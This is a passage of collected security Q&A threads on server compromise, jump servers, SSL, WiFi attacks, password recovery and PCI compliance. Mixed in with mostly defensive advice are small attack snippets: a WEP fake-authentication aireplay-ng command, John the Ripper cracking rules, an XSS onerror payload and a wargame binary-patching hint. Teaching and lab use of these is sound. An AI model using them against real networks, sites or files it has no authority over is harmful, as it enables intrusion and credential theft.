Writing down the passwords on paper offer no such benefit. For it to be remotely usable, the paper has to be in your desk or wallet where it is relatively easy to get to. Sure, you can stick the paper in a physical safe and make it difficult to steal, but it's a hassle from a usability perspective.

Another major benefit of using a software password vault is that it almost entirely removes the risk of falling prey to a phishing attack. Most password vaults come with features that allow you to fill in the credentials automatically when you visit the correct website. This removes the possibility of a user being duped into entering the credentials into a phishing website by accident.


Exploited by newbie3viLc063s My debian server got exploited by some scriptiekiddie who used Newbie3viLc063
http://pastebin.com/jma8JRG1 .
Scriptkiddie uploaded logo_php.png to my server (My permissions sucked :s) and he did run it as php file.

And I have few question:

How can I delete/block backdoor what it did. I did block port 55555 (script used it), removed .php file, changed root / www user's password. I also searched .cpp files and all files which have permission 777/755 (find / -mtime -40 -type f -perm 755. (that command found some files from /usr/bin)

Btw, did attacker fail somehow, because I found his his file (logo_php_png) from uploads folder, somehow it feels that it's pretty stupid to leave that file there...:D)

And I did run rkhunter, here is log: http://pastebin.com/syMnKVAL I'm not sure how I should react to those warnings, I did read that those can be false positives.

In recommend you to reinstall the COMPLETE server, because after a successfull attack the server isn't in a trust relation anymore! Maybe there is more than just this backdoor.

Yes, it is a lot of time to set up a new server, but the only way to gain trust again.


Malware spreading through jump server and SSH data transfer Can someone explain to me how jump servers mitigate the risk of malware infection please?

Whilst I understand some of the benefits of having a jump server as an extra layer of defence i.e. authentication, 2FA etc, however, say if a user's workstation or laptop is infected with a malware, and they can access a Jump server over SSH/RDP -  can the malware not spread over this SSH session and eventually to the servers behind it? If yes, how is jump server helping here?

On a separate note, how can you disable the transfer or exfiltration of data from the Jump server via SSH/SCP - for both a privileged and non-privileged user who can access the Jump server? Is this even possible? Asking this from an insider threat perspective.

It is highly advisable to use two factor authentication in jump servers. The whole purpose of having a jump server is to segregate a "more trusted" set of resources from a "less trusted" set of resources. For example, by virtue of your desktops being exposed to Internet (and potentially phishing via email), they constitute a less trusted zone. The bar to "jump" into the more trusted (say, servers) zone must be higher than for being in the least trusted zone. Now, if your password got compromised or keys got used or you have ticket forwarding, having a second factor will protect against lateral movement. Malware tends to jump around and spread - having a second factor for protocols such as RDP/SSH prevents malware from abusing those management protocols.

Hope that helps.


How to secure or (Ensuring Integrity) of Web Data in transit and in store? Consider (usual scenario) You own a Shopping Cart Website and hosted on Internet, now, your hosting company provides you database to store your data.
If talking about security, we need it for:

Securing Files and Folders on the server (Access Permissions).
Database: Securing the database with password.
Programming: Securing the shopping cart (Securing the web application).
Data in transit: Securing the data in transit such as (user registration, payments, invoices, etc) when client sends to server, and when server sends responses to the client (forms, order history, user profile, etc)

The big question: how to ensure integrity?

Determining Unauthorized Access that modified or tried to modify data?
Determining Authorized Access that tried or did unauthorized actions?
Determining whole system integrity

DB
For instance, data that saved in database such as MySQL and MSSQL are not encrypted, its considered secure on the DB server, also for hug rows, encryption decreases the performance and if attacker get access DB server, he can also get the private key.

Files and Folders
Lets consider that we encrypted all files that doing critical actions (such as Access Control, Data Saving, etc), now, by any way, if attacker get access to the server, he can add one line to send all ($_POST, $_SESSION, $_COOKIE, and $_GET) to an email.

Data In Transit
Consider that SSL is implemented, but man-in-the-middle-attack can get a copy of traffic (this is possible).
How many networks between me and stackexchange.com now? thousands!
Me -> My ISP (Clients -> Core -> Border Routers -> Foreign ISP -> Foreign ISP -> Stackexchange Data Center -> Some Cluster or any other model -> Stackexchange)
How can we ensure that the data between these networks not modified?

Just see this image! which currently available its not just idea:

At this point: I am asking is there any mechanism for better security for Web Applications that depends always on data in Transit?
I hope to get some answers that passes me in this sadness about security :(

Keep everything encrypted with SSL with a properly signed SSL certificate from a trusted CA.  Web servers/certificate authorities should not give away their private SSL keys, similarly web browsers should only trust a minimal set of respected certificate authorities.

This prevents eavesdroppers from decrypting/altering1 communications.

1 Well they could drop packets or randomly alter a packet, which with very high probability would result in the packet being undecryptable (equivalent to dropping a packet).

Tineye says your image is from: http://www.edecision4u.com/HTTPS-SSL.html, which has its online documentation at: http://www.edecision4u.com/data/DG-HTTPS.SW.Specs.2012.doc (beware doc file).  This documentation specifically states its limitation:

  Note: Certificate Error Warning will appear at target user Web Browser. This problem can be resolved by having own trusted Certificate Authority (CA). For more information, please contact Decision Group.

Hence, to use this product you have to have a trusted by your browser CA to sign a certificate for your MITM attack, which valid CA should not do; however invasive governments may be able to do (especially if your browser trusts all the default CAs).


WPA 4 way handshake and authentication I'm studying how WPA-TKIP works. As I understand, there are two parts to authentication.

Using EAP messages the client authenticates itself to the access point or authorization/RADIUS server. I believe this is using EAP-TLS, is that correct?
Using the four way handshake, the client and access point calculate temporal keys and authenticate each other.

Are these steps correct, and is this the correct order? Also why isn't the second step used first to establish a secure connection before authenticating to the RADIUS server?

It depends on if you're using "Enterprise" or "Pre-Shared Key" (PSK).

If you're using "Enterprise", then one of your options is to use EAP-TLS, but there are other options like PEAP.  These are typically the only two you will see in implementation, although there are plenty of others.

With EAP-TLS, check out EAPoL, and this diagram really helps to clear things up.

With PSK, there is the four way handshake that you mentioned.

In summary, you summarized two separate ways of establishing a connection with a WPA-TKIP enabled WAP.  Hope this helps.


Can I perform WEP cracking from several laptops against 1 AP I have successfully being able to perform WEP key cracking attack using aircrack tool. I want to allow my students to test this in a lab environment. They will be working fro their own laptops against the lab Access Point.
I have tried to perform the attack simultaneously to make sure this is not an issue that will make the lab fail, in the first test, I used two laptops concurrently performing the commands needed to perform the attack. The problem was that the two laptops' wireless cards failed to make a faked authentication.
When I entered the command:

aireplay-ng -1 0 -a [MAC of AP] -h [MAC of wireless card] mon0

I get the result as:

While, in the successful association, I should see:

Without seeing the line: Association successful, as in fig. 2, the experiment fail (I can not crack the password).

However, in another test, using the same two laptops concurrently, performing the commands, I could successfully do the faked authentication and associated the two wireless cards and the attack succeed.

I need to make sure that the attack must work successfully even I have several laptops each with its own wireless card trying to crack a single AP ??

Technically, is there any problem if several PCs are trying to be associated to the AP using the previous commands to do faked authentication?

What was the problem in the first test that caused the cards not being able to be associated to the AP?

UPDATE: It sounds that for unknown reasons to me some times one or both of the wireless cards works in a channel different than the AP channel that's why the fake authentication does not happen. How can I reset the card channel? It is Alpha AWUS036H.

There are two stages in the classic WEP attacks:

Stage 1: gathering packets.  Traditionally, this is done by fake-authenticating with the target AP and then re-injecting ARP packets to get the AP to send packets quickly, but it can be done completely passively instead.  Trying to do this on multiple laptops at once can actually slow things down, as they interfere with each other's re-injections or the AP's transmissions.

Stage 2: analysis.  The captured packets are statistically analyzed to figure out the most likely value for the WEP key.  Since this is completely client-side, the computers can't interfere with each other.

In a classroom setting, I'd pick one student to perform the re-injection part of the attack, and have the rest of the students put their laptops into passive packet-gathering mode.


John The Ripper - find password when you know a part of it I left my old job a few years back and wanted to check a few of my old pdf payslips but for the life of me I can't remember the password.
I've tried using John The Ripper in incremental mode because I do know it wasn't a complicated password (I never changed the one they provided me when they setup Sage as I never saw the need) but despite running for over a day it still hadn't found it.
I was pretty sure it was just the first part of my email address (let's call is abcchji) followed by, or perhaps preceded by a series of numbers. There may have been a single capital in it too at the start.
I've tried looking for guides, but the ones I've found are far more complicated than what I'm looking to achieve.
I want John the search solely for the string abcchji, but with John then trying random strings of numbers (0-9) and symbols (nothing exotic, maybe a ! or #, the passwords for everyone were set up together so I don't remember it being too difficult to remember until I didn't use it for 4 years)
Is what I'm looking to achieve even possible?

You can create your own JtR rules to generate your wordlist.
Create a local john-local.conf file in your working directory, so JtR will include it, giving you the option to run rules defined therein:

~/$ cat john-local.conf
[List.Rules:myrule]
# as-is
:
# append a number
: $[0-9]
# append 2 numbers
: $[0-9]$[0-9]
# prepend a number
: ^[0-9]
# prepend 2 numbers
: ^[0-9]^[0-9]
# prepend a number and append a number
: ^[0-9]$[0-9]
# capitalize
c
# capitalize and append a number
c $[0-9]
# capitalize and append 2 numbers
c $[0-9]$[0-9]
# capitalize and prepend a number
c ^[0-9]
# capitalize and prepend 2 numbers
c ^[0-9]^[0-9]
# capitalize and prepend a number and append a number
c ^[0-9]$[0-9]
# capitalize and prepend "nothing exotic" and append a number
c ^[0-9A-Za-z#!]$[0-9]

I've added comments above the rules so you can understand the syntax. Adjust it to your needs.
Put your basic password candidates in a file (I called it wordlist):
~/$ cat wordlist
abcchji

Now, in order to apply those rules and generate your custom wordlist, call john specifying your custom ruleset in the --rules attribute:
~/$ john --wordlist=wordlist --stdout --rules:myrule >longlist
Using default input encoding: UTF-8
Press 'q' or Ctrl-C to abort, almost any other key for status
1282p 0:00:00:00 100.00% (2020-07-09 20:08) 42733p/s !Abcchji9

Depending on your rules, the wordlist will contain all corresponding combinations.
~/$ wc longlist
 1282  1282 12776 longlist

~/$ cat longlist
abcchji
abcchji0
abcchji1
abcchji2
abcchji3
abcchji4
abcchji5
... (truncated)
!Abcchji4
!Abcchji5
!Abcchji6
!Abcchji7
!Abcchji8
!Abcchji9

Finally, run JtR with the argument --wordlist=longlist against you pdf file.


XSS alert not working with concatenated string I've noticed that the following Stored XSS does not execute, whereas in the JS console it works:

This doesn't prompt an alert box. Whereas the following do:

Casting any of the elements with String() doesn't help either.

The plain alert statement (alert(document.domain+": "+Date.now())) works in the Chrome JS console, in Firefox it works if I add the semicolon at the end.

I'm certainly no JS wizard, but I don't see why this doesn't work.

Why does the initial XSS via the image tag not work?

You have to remove space in ": " or add quotes for onerror attribute value:

<img src=0 onerror='alert(document.domain+": "+Date.now())'>


IIS won't forward the logged on user credential to webservice request? Ive  enabled Windows authentication in my IIS.

for the sample lets assume my Active directory username  is \domain\John

My task flow is like that :

Iis won't forward the loged on user credential to webservice request?

the Page1.aspx request some data from a WebService ( also in my iis ).

However , it does NOT  pass the \domain\John Information . (through the request).

Other things are working well. ( I can touch a file with special permission via the impersonation)

But when the asp.net calls the webservice  - it fails ( 401 - not autorized).

p.s.

If i set ...useDefaultCredentials = true ( in my c# code) - its working.

I want the IIS to "forward the \domain\John"  with the request of the webservice.

How can I do that ?

This is a better question for Serverfault.

What you need to do for this to be workable is to configure Constrained Delegation. With a regular NTLM logon, your credentials aren't forwardable to another service.

With a Basic (you may need to change the LogonType value to allow it) logon, you could do this because the target server has your credentials; with NTLM, it's not able to make the second hop.


How safe is this scenario security wise In a project I am working on, I needed to write some cron job scripts, which purpose is, to access some external API's, which have information that shouldn't be accessible by the public. The external APIs all require a username and password to make them accessible.

The client was concerned, that if somehow, someone, manages to hack the server, and we store the passwords in the script files for these API's, the hacker would gain access to the secure information, or could transfer out money from these API's to his own account.

To resolve this problem, basically, to make a second security layer on the whole application, I tought that I could eliminate the cron jobs, by writing a simple daemon application, which when started, asks for a password from the administrator. With that password, he decrypts the API access keys, and starts replicating the things that the cron jobs did before.

The biggest drawback to this, is that whenever the daemon stops for any reason, an administrator MUST restart it manually, but my client said that this is not a problem for him.

Basically, what I would like to know, is, how safe is this approach? Can a hacker, who manages to hack into the server, retrieve the admin password which was provided to the daemon when starting, from the memory?

The environment I use is PHP (I know that this is not the best solution to daemon scripts, but time is of concern, and this was the fastest to implement).

What other drawbacks does this method has, that I haven't thinked about?

Moving the password to memory does raise the cost to the attacker, but not by a lot - and in exchange, the server process does indeed become more fragile (requiring human presence to restart), which (as you pointed out) may adversely impact SLAs.

The general rule is that if a legitimate process has access the information, so does the threat actor (if they gain access to the legitimate process's environment). Any API that is implemented in this way requires the plaintext password.

It may take some work to educate your client to understand this.

(That's the basic answer to your explicit question. Here is some additional information about the larger problem you are trying to solve:)

Another mitigation might be to store some of the material in an HSM. If implemented properly, this would make it even harder to access. But even then, if the server is compromised, an attacker could write additional code to intercept the password as it is being sent to the API.

Another option is to move the password to a more secure proxy server. If you don't have the ability to lock down the current server, but you could create another server that you could make significantly more secure, then you could use that server as a proxy, and store the password there. This increases complexity, but might be worth the tradeoff if the proxy server can be more hardened. That proxy server could also be used to monitor the transactions for unusual activity, and block any that do not meet certain criteria.

You could also work with the API provider to limit where the activity is coming from to specific IP addresses (so that the threat actor cannot just steal the password and then use it from anywhere).

If the server side supported it, you could also use public-key encryption to protect the password, or a client SSL certificate to control who can connect via TLS.

And in general, you should be using HTTPS for the connection, and using POST instead of GET to prevent the password from showing up in URLs in logs, etc. This will help protect the password in flight outside of the server.

But in all of these scenarios, the password must be used in plain text - and will always be vulnerable to interception at some step in the workflow.


Is there any security threat with open WiFi connection? For a few days, my mobile device has been able to catch Wi-Fi signals that are within its radius. It's not asking for a password to use the service. So, I'm using the Wi-Fi service whenever I need to.

Is there any chance to hack my email and other accounts which I'm opening using this service? Are there any other security issues with this type of access?

Unprotected Wifi networks, particularly in public places, are most certainly a threat. This is because you are connecting to a network without knowing who else could be on the network.

'Free Wifi' provided by cafes, restaurants, etc serve as excellent places for harvesting passwords.

The attacker will perform a Man in the Middle attack, typically by employing ARP Cache Poisoning. At that point, the attacker can read all plaintext passwords, including unsecured email (Email that does not use TLS), unencrypted ftp, websites without SSL, etc. Not to mention they can see all your google searches, all domains that you visit (encrypted or not) and so forth.

And they got to this point without putting in any real effort, ARP Cache Poisoning and Packet Sniffing are easy. A more advanced attacker might set up an active proxy on his machine to perform attacks such as SSL Stripping, which would give him access to all sites you visit, including HTTPS. This means he now has your PayPal, Facebook and Twitter passwords.

Moving on, an attacker might target your machine directly, if you have not updated your software in a while, is it likely that he can spawn a shell with Metasploit and download all your files for later analysis. This includes any saved browser passwords, authentication cookies, bank statements etc.

TL;DR: When connecting to a network, you are exposing your device and all your traffic to all other users of that network. In an open WiFi this includes the girl sat across the street in the back of a van with a Kali laptop and a GPU array. Update your software and don't log into anything sensitive without using a VPN.


VPN gateway software check enforcement as part of access policie Can a VPN gateway enforce policies in form of checking whether a particular software or set of software is installed on the endpoint and based on that allow / deny the remote connection to be established ?

The Trusted Computing Group (TCG) has defined a set of standards that allow VPN gateways (and other endpoints) to do that in a secure way called Trusted Network Communications (TNC). Many of them have also been released as RFCs by the nea IETF working group and some related ones by the sacm working group.

The following image provides an overview of these protocols/interfaces:

The open source strongSwan IPsec VPN solution implements these protocols and provides many example use cases, for instance, endpoint assessment (e.g. with Linux or partially with Android), or creating software inventories together with the strongTNC application (and the swidGenerator utility). The latter also allows to define policies that are enforced by the VPN gateway (e.g. to only allow restricted VPN access if software updates are missing on a client or other irregularities are found).

There are commercial vendors that implement some of the protocols (e.g. IF-MAP) but they often rely on their own proprietary solutions. For instance, Microsoft provided the Network Access Protection framework, but that has been removed from the latest releases of their operating systems.


Deployment tips to support indirect CRLs I'm looking into the feasibility of using indirect CRLs to eliminate the need to manually publish CRLs from an offline root.
Is anyone familiar with any similar deployments? If so, how did they set it up so the CRL signer doesn't need access to the offline CA's db?
Thanks!

Apparently this is not supported by most clients (Windows, OpenSSL) so using indirect CRLs is not an option.


Can anyone access my computer if I use tor browser? Today I was told that if I use tor browser, hackers may access my Computer and can delete or copy files from my Hard Drive.

Is it really true? Can hackers access my computer If I use tor?

Thanks in Advance. :)

The TOR browser bundle is just one piece of (fairly) complex software and thus will contain bugs. It is based on the Firefox browser which regular receives bug fixes, even for remote code execution and this bug allowed an attacker to access local files in Firefox (but not TOR browser).

If it is possible to such bugs reside in a currently fully patched version of the TOR browser bundle but is not publicly known and I'm sure you will not get such information from the agencies which will use these bugs in the context of attacks or investigations.

Thus it is the best to not only use the TOR browser bundle but also use it from a system with no sensitive data on it. Also the system should not be able to reach any possible vulnerable systems inside your local network, because then typical Web 2.0 attacks like CSRF, XSS... in these systems could be used, like attacking the router or attacks using the local printer server.


Security implications of forwarding ports 1-10000 on Airport Express? Today I found that ports 1-10000 were being forwarded on an Airport Express that I as well as a fair number of other people share. This was setup by another user. There are multiple machines and devices on the network, OS X and Windows, and I was wondering what having those ports forwarded means to the various computers on the network and if there are any potential issues for this situation.

Functionally, it would be as if the machine to which the ports were forwarded was directly connected to the Internet.  (At least for those ports.)

To the other machines on the network, the forwarding itself wouldn't be much of an issue, but if the forwarding target gets compromised, it could pose a threat to other machines on the network.

The first thing you should find out is what machine the ports were being forwarded to.  If that IP is not in use, then the forwarding should not be a significant issue.  If the target is patched with no services exposed to the Internet, then having ports forwarded is not likely to be a significant issue.  (Most clients that are compromised are done in a way that NAT won't protect you against anyway.)


Is it ok to send user's private key away, even if protected with a SSL channel? I'm developing a webserver that performs digital signatures of (xml, pdf and office) documents and then validates those signatures.

My idea is: an user puts its SmartCard and through a PIN, he gets his private key. Then, the private key must be sent to the server, so that the server may sign the document with that key.

Even if the private key is transmitted through a SSL channel (HTTPS), is it a good idea send the private key away from the user? What is your opinion? I'm trying to avoid to perform the signatures on client-side, so that the signature service may be accessed by every device.

Regards, William.

(Just to summarise my answer to this duplicate question on SO and its comments...)

It's certainly bad practice, and it can also be a major legal problem.

Because both the user and your service will technically have had access to the private key, you can no longer guarantee who the actual signer was to a third party.

  Do you know any javascript library that signs xml, pdf and office documents? This way, the private key would only be used on client-side.

Don't do JavaScript crypto. You won't be able to prove to the user what your code does (it could still send the key). As far as I'm aware, some of the WebCrypto project was trying to address some of these issues (e.g. by letting some JS code use the private key stored in the browser without letting it out), but it's not quite ready yet, and it doesn't solve all the problems (e.g. proving the the users what they're signing with that private key).

And of course, the technical show-stopper...

Most smartcard mechanisms don't let you get access to the private key itself (often by design), so you'd somehow have to interface with the signature API for the card anyway.
That API will not actually give you the private key, it will only let you use it to sign something, the processing being done on the card itself. So, any plan to send the private key somewhere or have some code (that doesn't use this API) use it wouldn't work.

While certificate on smartcards can be used by the browser for client-certificate authentication, because browsers are implemented to support this as part of their own user interface (nothing to do with any webpage you can provide), I don't think there's anything obvious to have a script on your webpage access any of this. (This would also still leave the problem of trusting what your JS code actually signs.)


Is using dynamic obfuscation and peppers for password hashing a good idea? I've read now the whole day about password hashing and secure authentication and though I read very often that mostly every own algorithm makes the proven hashing methods just less secure, I just got an idea regarding password hashing e.g. with scrypt, salting the password and using a pepper:

Mutating the original password before hashing could probably improve security if using a random string every time and use that to obfuscate the password. Obfuscating with one specific schema alone wouldn't improve security but using all the time a new random string (which has to be as random as possible) would make it impossible for a hacker to get the password as long as he doesn't have that random string.
As you would need that random string for verifying the password you need to store and read it in some way, which makes it vulnerable of course again to hacker attacks. I would save these random strings with the uuid of the user as key and would encrypt the actual content with a password by using openssl_encrypt (a php function) on a different server.
Now the problem would be the password with which the obfuscation passwords are encrypted. So I came along the idea to show the user initially after registration a random sequence of dictionary words that are not stored at all and the user would be prompted to write it down. As additional protection i would use here also a pepper to strengthen the insecure dictionary passphrase. Now the user needs to answer upon every login a security answer, which is then used to decrypt the random string from the other server that is necessary to verify the normal password. If he loses this security answer passphrase he can reset his password using his email.
Upon Registration only strong passwords can be entered and every password is stored with scrypt hashing, a salt and a pepper (which lies on a third server). Before hashing it, it gets obfuscated. Now I wouldnt use a static pepper which is then vulnerable again, but since there is a third server anyway I would dynamically generate that pepper.

What do you think would this method add more security or would it even be less secure? This is not absolutely about using it in production environment but more about my interest in that topic itself and understanding it better.

What you are describing is essentially an extra salt encrypted with a key derived from an extra password consisting of dictionary words that are not chosen by the user.

I know this will appear as a rather vague and general criticism, but I see three downsides with this:

You are rolling your own. Inventing your own systems to solve problems with established solutions seldom enhance security. In the end you are more likely to make an error in the implementation and expose yourself than you are to improve your security. (With that said, speculating about new systems can be a useful learning experience.)
Complexity is your enemy. This introduces a lot of complexity, but it is not clear what problems the extra complexity is intended to solve.
Usability is your friend. Who wants to ontop of your password memorise another password that you are not even allowed to pick yourself? As a user I would want to have some substantial security benefits to accept that.

Contrast this with some other common practices to increase password security, and ask yourslef what your system provides to offest the cost in complexity and usability that these systems does not:

Encrypt all scrypt hashes (with hash, salt and all) using a HSM so that an attacker can not get hold of the encryption key.
Use two factor authentication (e.g. with a SMS login code).


What type of attack should be used in order to pass this authentication I am practicing the Astalavista Wargames and i came across this challenge. The question is:
Bob wrote a piece of software but the password verification doesn't seem to work. You must find a way to
log on. We were able to recover some part of the source:

typedef struct {char pass[5],valid;} password;

int main(){
    password s;
    s.valid=0;
    scanf("%s",s.pass);
    verifypass(s);
    //if password is correct the value of s.valid will change to 1
    if(s.valid==1)login();
    else printf("Wrong passwordn");
    system("Pause");
    return 0;
}

Link to original provided executable file in the question . Note that the question does not provide anything else beside this part of code and executable file.

My initial thought was that this should be done using buffer overflow attacks, so just as a common approach on my x64 machine I try to enter 1 to change the valid bit to TRUE.

when I enter this number of 1's "1111111111111111111111111111" the program allows me to enter the password again, BUT not logging in. If I enter less, it would show the wrong password and exit and if I enter more it would crash.

How can I come up with a solution to this challenge?

You would be able to attack this with a buffer overflow, but it is not necessary. In order to get a buffer overflow exploit working you will need to perform dynamic analysis on the exe, using a tool such as OllyDBG. You would then run the program, passing it overlong strings until you get it to crash. The type of crash you are looking for is control over eip. Typically you would just pass a whole string of AAAAAA and check the CPU registers when the program crashes, if you see eip 0x41414141 or similar, you win and are just a few steps away from breaking the code.

However, I would attack this in a very different way. The password is stored in the exe file, but it is obfusticated - it is generated by multiplying and rotating a series of values such as 0x55555556 and 0x66666667. It then compares your password against the generated value, and branches one way or another depending on whether they match. All you need to do is subvert this branching condition. This can be achieved very easily with a hex-editor.

For a clue; the command you want to edit resides at 0x4013b3 (_main+58).


Computer Security vs Privacy Probably this is a redundent post but in fact I have been searching online about a precise clear distinction between computer security and privacy. I'd like to know the difference of between them through an example.

Thank you.

Security is defined as the state of a system in which confidentiality, integrity and availability of data is granted.

Privacy is the ability of a natural person to control the distribution of his or her personal information.

If you are using for example a system of a big company - let's call it Oogle - it might be that their system is pretty secure, but doesn't respect your privacy at all because they sell your data.
On the other hand, you can have open source software which does not store any user information - so you know it's granting privacy, but this could still be insecure if someone exploits a bug in it.


How should I determine if an application transmits my credentials securely? I need to know on what basis I can assess the trustworthiness of application usage (accessing private accounts) on public networks.

As an example, I'd like to play Diablo 2 LoD while I'm at an Internet cafe, but I'm worried about someone sniffing my network traffic and capturing my battle.net credentials.  How can I tell if the password is being sent securely, or in cleartext?

One way of checking this would be to run a packet sniffing tool such as wireshark, as this can give you information about the protocols being used, and can show you similar information to what someone else would see if they're sniffing your connection.

I'm presuming here that Battle.NET uses HTTP(S) for authentication so essentially you'd be looking for the difference between a plaintext HTTP connection and an HTTP(S) connection.

In practical terms a good way to do this is to close as many other programs before you run the sniffer, to minimize noise and make it easier to isolate the relevant traffic.  If you can identify what IP addresses the servers run on you can set-up a capture filter on wireshark for only those IP addresses, which would make it even easier.

Then start the sniffer and log-in to Battle.NET.  Once you're logged in stop the sniffer and examine the output.

what you're looking for is the protocol that's in use for the connection if you see connections using HTTP and you can see the contents of the connection (right-clicking one of the packets that's sent to the server in wireshark and using the "follow TCP Stream" should show you some details.)

If the connection is using HTTP(S) then you shouldn't see any plain text after the connection is established, whereas if it's using HTTP you'll see plain text detail of the traffic being sent back and forth.

Another quick and dirty check would be to save the packet capture file from your login and use a string search tool (like findstr in windows or grep in linux) to check for your password or username.  If you see them then they're being sent in the clear, if you don't then they're at least being obfuscated, and may be being encrypted.

There's still some other risks, especially if you're using someone elses computer in an internet cafe as they could install keyloggers if they wanted to and/or modify trusted certificate authorities which could allow them to intercept traffic sent over SSL.

Bottom line is that if you use a system controlled by someone else on their network it's likely that they can get access to data you process at that time.


Roommate Frequently Hacked -- How Do I Protect My Network/Devices? If you absolutely had to share a network with a user who had a very lax approach to security and was frequently hacked (1-2x month for over a year now), what might you consider doing to secure your own osx system, and perhaps audit the integrity of your modem/router?

The modem/router we use was recently compromised with DNS redirecting malware... and had to be replaced.

p.s. User-education is almost out of the question here, for reasons I won't get into to much... but involve, really, a completely different problem domain: human psychology. I have had no luck broaching the subject or getting access to his machine to lock it down (and this is an old old friend). I think given the hardship this person has already endured, accepting help at this point would be like admitting responsibility that he's not just a random victim... and that is hard to process.

You can use DNSCrypt to protect against DNS poisoning, HTTPS Everywhere in case you forget. Maybe install Tunnelblick and setup a secured OpenVPN server on a remote machine/network you know is likely to be healthier. Good luck.


S/MIME certificate expired and renewed, do my correspondents have to do anything? My PKI certificate (Digital ID for email from Symantec, issuer is "VeriSign Client External Certification Authority - G3") expired after 1 year and so I have renewed it.

Do the people I correspond with using S/MIME for encryption and signing of emails have to do anything?

For example, if I encrypt an email using S/MIME and the new certificate, will the recipients need to do anything special, like "import" the certificate somehow?

Likewise, if they try to send me an encrypted email, will they just get an error that says "certificate expired for the recipient" or something like that?

It seems like a huge pain in the ass if me and my correspondents have to be re-importing each others certificates every year.

Theory is that everything works automatically. Practice sometimes differs.

I suppose that you are talking about S/MIME and X.509 certificates. With S/MIME, when you send an email:

The email is encrypted with the public key of the recipient, so you have to know the current recipient's certificate.
The email is signed with your private key and the signature format normally includes a copy of your own certificate.

Thus, other people learn your current certificate when you send signed emails to them. Once they received such an email, they can send encrypted emails to you. If these people also signs their own emails, then you learn their certificates as well, and you will thereafter be able to send encrypted emails to them.

When you get your new certificate, your correspondents don't know it yet; they just know the previous one. When your old certificate expires, they will cease to be able to send encrypted emails to you. But, as soon as you send them a signed email, they will learn your new certificate and everything will be fine again. Storage of copies of the certificates of other people is supposed to be done automatically by your emailing software, so there is never some manual import to do. At least when everything works fine.

If you want people to be able to send you encrypted emails without first receiving a signed email from you, then you can put a copy of your certificate (not your private key, of course) on your personal Web site, Facebook profile, or anything similar.

(In the dreams of the original X.509 designers, certificates for everybody would be found at any time in a worldwide, shared directory called the Directory, with an uppercase D. This is why the main identity in an X.509 certificate is a Distinguished Name: this is a hierarchical path within the Directory. But this never happened: the Directory remained a purely theoretical beast.)


Rainbow table concept for Prime numbers Is there a concept where pre-computed tables can be used for prime number factorization ? Is it possible that a computer can generate millions of prime numbers, store it and then effectively determine the factors ?

It's unlikely. The primes involved are huge, so the keyspace is massive. Just how massive depends on your key size, but let's pick 512-bit primes for a lower bound example.

The prime counting function gives us an estimate of how many prime numbers are below a given number. It is difficult to compute precisely, but a close estimate is defined as π(x) = x / ln(x), where ln is the natural logarithm. As such, we can compute an estimate of the expected number of primes below the highest value in an n-bit number by computing π(2^n). If we want to exclude all numbers that aren't exactly n-bit, we compute π(2^n) - π(2^(n-1)). This isn't technically required, but it gives us a nice lower bound of how many large primes there are for that key size.

For n = 512 the number of primes required for an exhaustive list is 1.885×10151. If we can store every prime in a 512-bit entry, that's 1.207×10153 bytes, which is 132 orders of magnitude more than we have disk storage capacity in the world.

So no, not really feasible.


Secure use of psexec or better alternative to it I want to remotely start VMWare virtual machines (I own VMWare Workstation) and to this end I need to execute on host something like "vmrun -T ws H:\VMWare\VM1\VM1.vmx nogui" with user desktop context, so launching it from ssh (which runs from the service and doesn't have access to desktop) is not an option.

I know that psexec will work, but this tool has inherent security issues, starting with the need to expose administrative share (which is on by default, but good practice is to disable it) and ending with ease of eavesdropping (more on the topic here).

Maybe someone here knows how to harden it, by for instance tunneling part of traffic inbound to port 443 on host (which is used by psexec) with ssh (only part, because I need to be able to use SMB shares)?

Or better yet, how to make sshd run interactively so it will give (I presume) access to the user's desktop? Or maybe there exist some custom client-server software, which would help with service-mode sshd (e.g. implementing the technique described here)?

Thank you for your help.

I have asked similar question here, on stackoverflow, but for different audience and from different angle.

Is this a windows enviroment?

If powershell is an option maybe try something along these lines?

Powershell Invoke-Command CMDLET


Can I show PCI compliant Logo I have just now got 20 of my e-commerce websites scanned and certified by Comodo.
I will be submitting them to my banks as well to prove that I am PCI compliant.

But is there any regulation on who can show any pci logo and is there any choice of pci logo.

1) ASV scans, while part of PCI compliance, do not make you PCI compliant.  You also need a valid SAQ or passing audit by an approved QSA, depending upon your volume.

2) I'm not aware of any PCI-approved logo or seal.  In general, PCI compliance is a matter for direct relationships, e.g. you need to give your processor a copy of your scans and your SAQ or your AOC and ROC.  You can look up your processor in the Service Provider Listing.  Seals don't mean anything because anyone can put them up.

The acronyms:

ASV - Approved Scanning Vendor
QSA - Qualified Security Assessor
SAQ - Self Assessment Questionnaire
AOC - Attestation of Compliance, what your QSA gives you.
ROC - Report on Compliance, what your QSA gives you.


Should a system require a password confirmation for accounts managed by an administrator? Suppose you have a user account management subsystem with a web UI. You can change user account passwords in regular masked input password fields in HTML POST forms. I'm wondering, is it fine if such forms have password confirmation text fields for user accounts you manage? In my opinion, password confirmation input fields are unnecessary, especially when there is multiple accounts processing by hand:

An admin can easily change the managed account password if something is not properly configured without any extra efforts (i.e., sending password reset emails, etc).
Sometimes it makes the admin to use clipboard to copy/paste passwords for managed users (having any sensitive data in clipboard is definitely a bad idea).

However, I think that password confirmation input fields are totally fine when changing own password, not someone else's one.

So, the question is: how fine is having password and password confirmation input fields for managing others user accounts? Is that idea good or bad?

(I'm working on a legacy project and making any changes to the project may not be trivial, but I'm still curious about that.)

Frame challenge
I would like to start with a frame challenge, as this is how I design my systems: an administrator should not be able to change other user's passwords.  Of course the standard caveat applies: we all have different needs, and depending on what your system is storing, convenience may trump security and letting an admin change user's passwords might be the best choice for your business.  However, I would say that if there is anything of value in the system then an administrator should not be able to change a user's password.
Instead, your system should have simple self-service password reset capabilities using modern best practices.  In the event that someone is completely locked out of an account you can always create a separate "Account recovery" process that requires separate verification of identity and takes at least a few business
days to get through (a slow account recovery gives the actual account owner time to respond if the attempted account recovery is not actually legitimate).  Again, YMMV, and the techniques you employ will obviously depend upon the value of what your system is protecting.
The main reason for this is because allowing admins to change passwords can effectively destroy audit trails.  "Administrator" doesn't (and shouldn't) mean "Has full access to absolutely everything", and allowing them to change a user's password potentially gives them the ability to evade any built-in auditing you have by taking over another user's account directly.
Finally, giving an admin the ability to change user passwords makes them a target for social engineering attacks if an attacker wants to gain access to someone else's account.  Allowing admins to make changes to accounts is basically what landed AT&T in a $240 million lawsuit over crypto currency theft: https://www.theregister.co.uk/2018/08/15/att_sued_cryptocurrency/
Answering your question
